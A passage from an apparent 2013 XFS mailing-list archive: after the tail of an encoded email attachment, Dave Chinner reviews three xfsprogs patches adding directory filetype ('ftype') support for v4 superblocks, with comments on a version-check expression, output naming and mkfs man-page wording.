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 LFPi8b+MpZnQ/cfw+jSUm6gtar8pXz1Ku9vcU6uzXC1L+1pOzMUbLjlnYTcFP8uC/mUv8HcJiSQM Nz2T5nPwmO3lQSsih32X08uv5WWzuZabTb17rW/syizI6W57PxaTCTGp1Sr1dPH+qne23GHYFw/P s69V3s/1lfncxcVLUzsngv2eP9h83LJ+mqyOpoXND4/u0/N2uT6PfkqKY4uP6WaYspjouRov8/Nw c9/++BfGzj7F221n2nA0t7vasyXP86WP3GphNvPwOm3vne8YyrfabVDDPk9T7vE7mNv2z82mjdzx uh4sMyd+c2791ehIy7L9dBx7VpPoh2a78V4w/D47phsrhFb+7lvlnMaLNu93+ufy1wVuxiPz/dlv 52b06HJbBb/795aLtgqJuldF8R29dHIwCtn46mcuTlN26M2VxcTm8zfJaam/Qhh9tP/3i5RC34X9 8r6j/x/sjtzeiVr7zVi7XGL7F55C9yscvw0TsufrtX9mZw/3+R3oWtrf7rhYSX4mWdoY6hPcXIZ+ 09iC2kDwkKk5UPSx23lY9gYLRlPEsZxYj9NqnChxfM4uti8lnqPL7l3yH6W+Yzj4RpaLbaOc0WE/ tjobtaNVu9xyHDs/h3N5ds9+Cxpbl8XSp85IREfvT/zfV5e9gNk8YHyTObzu6dsg5N2NzK7Mbrnu R3CHP0tnnunTnH3a6CE+yF1PzclYkcxNLHSYejSuSm8yx2z3nZYNi/PnntpQr2C2v2xHk020yV+5 nJB93d2k1xOCutXC333qX885ZbWJYmNp4eBy9lFdfqcac+zw6dp1Fo8vmu+bWeI65Wm/i9qUr/V7 4N8yndVf6OeDqTm3oLjt3fWQOf33WcT89mvmXezOdbvLtBcOpwYRlhZI9Cu/k386/dbMx+FduJnv 8d9D9cL2qjQ2/6H3I/dL5Te5rILbtvlC1/PtMVm7MvyHcfvigvRO5BDwfGtcdg3GwynSmb3HVEW+ KXU6Gmne22Ld66McC99VzQZLg47VPyGsDOWzOy1tPXHWSufiZ+83Jr1Mh3uRw9f1rXPZPFYpbv/P lZ76X6CxX5QlC64KOufi5ktdrjrbT3Gi24GNuy3oaTeTqn6e7P8ZgcmGj8sM5c2I9Om1vyzewvv0 P+l7+8lH/x5ju6C+T+vUMnRzuSvt98u01vBYtvfertcI2aXaYTkIV7CtuV4k+gz2/9C3Q1GCqNTw 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 ------=_NextPart_000_07F8_01CEB599.80CFAA40-- From david@fromorbit.com Thu Sep 19 17:52:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 791C87F37 for ; Thu, 19 Sep 2013 17:52:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0B1E3AC005 for ; Thu, 19 Sep 2013 15:52:51 -0700 (PDT) X-ASG-Debug-ID: 1379631169-04cbb02c3b11f3450001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id cBrOE7iXjKYOSy3h for ; Thu, 19 Sep 2013 15:52:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AukIAKV/O1J5Lapl/2dsb2JhbABbgwe8eIQsgROBHhd0giUBAQUnExwjEAgDGAklDwUlAyETiAK6RRaPUQeEHgOXe5F2gzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Sep 2013 08:22:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMn5X-0005Hf-E4; Fri, 20 Sep 2013 08:52:43 +1000 Date: Fri, 20 Sep 2013 08:52:43 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfsprog: add xfs sb v4 support for dirent filetype field Message-ID: <20130919225243.GK9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfsprog: add xfs sb v4 support for dirent filetype field References: <20130919211523.407741285@sgi.com> <20130919211539.028138471@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130919211539.028138471@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379631169 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140764 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 04:05:24PM -0500, Mark Tinguely wrote: > Add xfsprog superblock v4 support for the directory inode type > in xfs_sb.h. > > This support adds a feature bit for version 4 superblocks and > leaves the original superblock 5 incompatibility bit. > > Signed-off-by: Mark Tinguely > --- > include/xfs_sb.h | 20 ++++++++++++-------- > include/xfs_sb.h | 10 +++++++--- > 1 file changed, 7 insertions(+), 3 deletions(-) > > Index: b/include/xfs_sb.h > =================================================================== > --- a/include/xfs_sb.h > +++ b/include/xfs_sb.h > @@ -84,11 +84,13 @@ struct xfs_trans; > #define XFS_SB_VERSION2_PARENTBIT 0x00000010 /* parent pointers */ > #define XFS_SB_VERSION2_PROJID32BIT 0x00000080 /* 32 bit project id */ > #define XFS_SB_VERSION2_CRCBIT 0x00000100 /* metadata CRCs */ > +#define XFS_SB_VERSION2_FTYPE 0x00000200 /* inode type in dir */ > > #define XFS_SB_VERSION2_OKREALFBITS \ > (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ > XFS_SB_VERSION2_ATTR2BIT | \ > - XFS_SB_VERSION2_PROJID32BIT) > + XFS_SB_VERSION2_PROJID32BIT | \ > + XFS_SB_VERSION2_FTYPE) > #define XFS_SB_VERSION2_OKSASHFBITS \ > (0) > #define XFS_SB_VERSION2_OKREALBITS \ > @@ -631,8 +633,10 @@ static inline int xfs_sb_version_has_pqu > > static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) > { > - return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && > - xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); > + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && > + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE)) || > + (xfs_sb_version_hasmorebits(sbp) && > + (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); This is kinda inefficient. Seeing as I didn't review the kernel version, I'll review it now. Expand it out: return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE)) || ((XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4 && (sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT))) && (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); so, really, the check could be refined to: return XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && (xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE) || ((sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT) && (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE))); Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 17:54:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB43A7F37 for ; Thu, 19 Sep 2013 17:54:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D9791304043 for ; Thu, 19 Sep 2013 15:54:38 -0700 (PDT) X-ASG-Debug-ID: 1379631277-04cbb02c3c11f35d0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id vqHF85EGRpx4acSQ for ; Thu, 19 Sep 2013 15:54:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4IAKV/O1J5Lapl/2dsb2JhbABbgwe8eIU/gR4XdIIlAQEFOhwjEAgDGAklDwUlAyETiAK6RRaPUQeEHgOXe4o4D4cvgzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Sep 2013 08:24:36 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMn7L-0005I5-AK; Fri, 20 Sep 2013 08:54:35 +1000 Date: Fri, 20 Sep 2013 08:54:35 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfsprog: add dirent filetype information for xfs_info Message-ID: <20130919225435.GL9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfsprog: add dirent filetype information for xfs_info References: <20130919211523.407741285@sgi.com> <20130919211539.130206963@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130919211539.130206963@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379631277 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140764 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 19, 2013 at 04:05:25PM -0500, Mark Tinguely wrote: > Make xfs_info aware of the directory inode type. > > Signed-off-by: Mark Tinguely > --- > growfs/xfs_growfs.c | 14 +++++++++----- > include/xfs_fs.h | 31 ++++++++++++++++--------------- > 2 files changed, 25 insertions(+), 20 deletions(-) > > Index: b/growfs/xfs_growfs.c > =================================================================== > --- a/growfs/xfs_growfs.c > +++ b/growfs/xfs_growfs.c > @@ -55,7 +55,8 @@ report_info( > int attrversion, > int projid32bit, > int crcs_enabled, > - int cimode) > + int cimode, > + int ftype_enabled) > { > printf(_( > "meta-data=%-22s isize=%-6u agcount=%u, agsize=%u blks\n" > @@ -63,7 +64,7 @@ report_info( > " =%-22s crc=%u\n" > "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" > " =%-22s sunit=%-6u swidth=%u blks\n" > - "naming =version %-14u bsize=%-6u ascii-ci=%d\n" > + "naming =version %-14u bsize=%-6u ascii-ci=%d field=%d\n" What does "field" mean? It doesn't describe the feature at all. "dtype" or "ftype" would be a better description of what is different in the directory structure... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 19 18:15:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A29829DFB for ; Thu, 19 Sep 2013 18:15:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E439B304048 for ; Thu, 19 Sep 2013 16:15:26 -0700 (PDT) X-ASG-Debug-ID: 1379632524-04bdf053872d2b20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id OsI7QJauZo476gzD for ; Thu, 19 Sep 2013 16:15:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At8IACGEO1J5Lapl/2dsb2JhbABbgwe8eYU/gR0XdIIlAQEEAScTHCMFCwgDGAklDwUlAyETh30FukgWj1EHhB4Dl3uRdoM2KoEuJA Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Sep 2013 08:45:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMnRN-0005L8-VL; Fri, 20 Sep 2013 09:15:17 +1000 Date: Fri, 20 Sep 2013 09:15:17 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfsprog: add mkfs.xfs sb v4 support for dirent filetype field Message-ID: <20130919231517.GM9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfsprog: add mkfs.xfs sb v4 support for dirent filetype field References: <20130919211523.407741285@sgi.com> <20130919211539.216012307@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130919211539.216012307@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379632524 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140764 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC1_TG070 Custom Rule TG070 On Thu, Sep 19, 2013 at 04:05:26PM -0500, Mark Tinguely wrote: > Add directory inode type feature to mkfs.xfs. > > In sb v4, "-n ftype=1" turns on the feature. The feature is still > automatically turned on for sb v5. Ok, so you named it "ftype" here. that's what needs to be in the xfs_info output, and mkfs output.... > Signed-off-by: Mark Tinguely > --- > man/man8/mkfs.xfs.8 | 7 +++++++ > man/man8/mkfs.xfs.8 | 10 ++++++++++ > mkfs/xfs_mkfs.c | 40 +++++++++++++++++++++++++++------------- > mkfs/xfs_mkfs.h | 4 +++- > 3 files changed, 40 insertions(+), 14 deletions(-) > > Index: b/man/man8/mkfs.xfs.8 > =================================================================== > --- a/man/man8/mkfs.xfs.8 > +++ b/man/man8/mkfs.xfs.8 > @@ -517,6 +517,16 @@ option enables ASCII only case-insensiti > are stored in directories using the case they were created with. > .IP > Note: Version 1 directories are not supported. > +.TP > +.BI ftype= value > +Version 4 superblock supports the inode type stored in the directory feature. It's a very brief description of the feature. Nobody is really going to understand it from that. You need to mention that allows the type of object a directory entry points to to be stored in the directory structure so that inodes don't have to be read to traverse the filesystem or determine the type of a directory entry. And that the inforamtion is returned to readdir(3) and getdents(2), so users should see the those man poages for how to access the information.... > +.I value > +can be either 0 or 1. > +With 0 meaning not supported (default) and 1 meaning supported. The value is either 0 or 1, with 1 signifiying that filetype information will be stored in the directory structure. The default value is 0. > +.IP > +Version 5 superblocks automatically support this feature and this > +setting will be ignored. Users don't know what a "version 5 superblock" means, really. So what this should say is something like this: "When CRCs are enabled via -m crc=1, the ftype functionality is always enabled. This feature can not be turned off for such filesystem configurations." As it is, trying to turn off ftype on a crc enabled filesystem should throw an error, not be ignored. > loginternal = 1; > logversion = 2; > logagno = logblocks = rtblocks = rtextblocks = 0; > - Nflag = nlflag = nsflag = nvflag = nci = 0; > - dirblocklog = dirblocksize = 0; > + Nflag = niflag = nlflag = nsflag = nvflag = nci = 0; > + dirftype = dirblocklog = dirblocksize = 0; two flags? Also, can you put them on their own line for initialisation rather than add more to the existing multi-variable assignments.. > dirversion = XFS_DFL_DIR_VERSION; > qflag = 0; > imaxpct = inodelog = inopblock = isize = 0; > @@ -1533,6 +1537,14 @@ main( > } > nvflag = 1; > break; > + case N_FTYPE: > + if (!value || *value == '\0') > + reqval('n', nopts, 